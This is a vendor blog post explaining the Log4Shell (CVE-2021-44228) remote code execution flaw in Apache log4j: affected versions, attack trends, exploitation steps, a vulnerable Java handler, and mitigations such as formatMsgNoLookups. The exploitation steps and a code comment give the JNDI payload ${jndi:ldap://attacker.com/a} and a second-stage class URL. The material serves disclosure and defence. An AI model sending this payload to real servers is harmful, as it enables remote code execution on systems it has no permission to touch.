New 0 Day – RCE in Java Log4Shell package

A new Remote Code Execution (RCE) has been disclosed in the wild affecting the log4j library for java.

Affected Apache log4j Versions

​Affected versions: below 2.14, latest version 2.17

2.0 <= Apache log4j <= 2.14.1 -> Now 2.17

Non-Affected Versions

The JDK Version greater than 6u211, 7u201, 8u191 and 11.0.1 are not affected according to this blog post

Blast Radious

Services in cloud-like: Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Background

Now the challenge a lot of organizations have is to understand which application is using (actively of not the vulnerable library).

The challenge of the risk is the popularity of the library. A CVE has been recently registered linked to this vulnerability: CVE-2021-44228 

A Tweet with the PoC was added recently before the CVE-2021-44228  was published

https://twitter.com/P0rZ9/status/1468949890571337731

Marcus as well has expressed the opinion on why the vulnerability is bad

Impact

Several services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Officially any system that runs apache with this library is vulnerable to this 0 day here is the official report from apache

The impact could be equivalent to the 2017 Equifax data breach. which spilled sensitive details for more than 143 million US consumers.

Attack so far

Sites like greynose monitoring the attacks are detecting an uptake. For the latest update see here

another site popular with attacking and defenders shodan.io is detecting an uptake (103 at time of writing) of easily exploitable services

Attack – date 11/12/21 – 5PM GMT+1

Attack Escalated Quickly: Current Shodan view

Attack – date 10/12/21 – 5PM GMT+1

List of malicious payloads

payloads https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

Attacking IP (Updated)

and ongoing list of malicious IP’s attempting CVE-2021-44228 Apache Log4j RCE
https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

why is it a big deal:

The researchers like Marcus said the Java deserialization bug stems from Log4j making network requests through the JNDI to an LDAP server and executing any code that’s returned. The bug is triggered inside of log messages with the use of the ${} syntax.

Exploiting

Exploiting Steps

Requirements:

• Server with Apache and log4j library
• Endpoint with sniffing capablity (wireshark) and an endpoint with any protocol that allows to send an exploit string
• log statement that enables the logging of the attacker string

Deployment

1. Data get sent to the server (via any protocol like HTTP or HTTPS),
2. The server logs the data with malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
3. The vulnerability in log4j is triggered by the payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
4. This response contains a path to the remote javafile (ex. http://second-stage.attacker.com/Exploit.class) wich is injected in the process,
5. This injected payload trigger a second phase that enable the attacker to execute the RCE (hence the arbitrary code)

Security researchers have exploited those vulnerabilities over time. marshalsec project is one of many tools that demonstrates generating an exploit payload could be leveraged to deploy the vulnerability. You can refer to this malicious LDAP server for an example of exploitation.

For the full details on the exploit, LunaSec has a full detailed article

Example Vulnerable Code

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Remediation

As of 2021 December 10th, 2021, Version 2.15.0 was released. log4j-core.jar is available on Maven Central here, with [release notes] and [log4j security announcements].

Mitigation

The following discussion on Hacker News details some of the workaround available

The ‘formatMsgNoLookups’ property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the ‘formatMsgNoLookups=true’ mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].

If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:

– Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109

or

– Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior.

[1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198

Other Mitigation

The modder and community came together to address streaming games like Minecraft.

The Spigot gaming forum said that Minecraft versions 1.8.8 through the most current 1.18 release are all vulnerable, as did other popular game servers such as Wynncraft. Gaming server and news site Hypixel, meanwhile, urged Minecraft players to take extra care.

As per Spigot Gaming Forum

Adding the JVM flag -Dlog4j2.formatMsgNoLookups=true neutralizes the threat for most Java versions. Spigot and many other services have already inserted the flag into the games they make available to users.

For more details refer to the full Ars Technica Article

How can we help

We are following the story very proactively and working with clients to help identify and automatically report and get alerted in the future on those vulnerabilities

to get more info reach out to us

Notification about Log4J/Log4Shell on the AppSec Phoenix Platform

List of application affected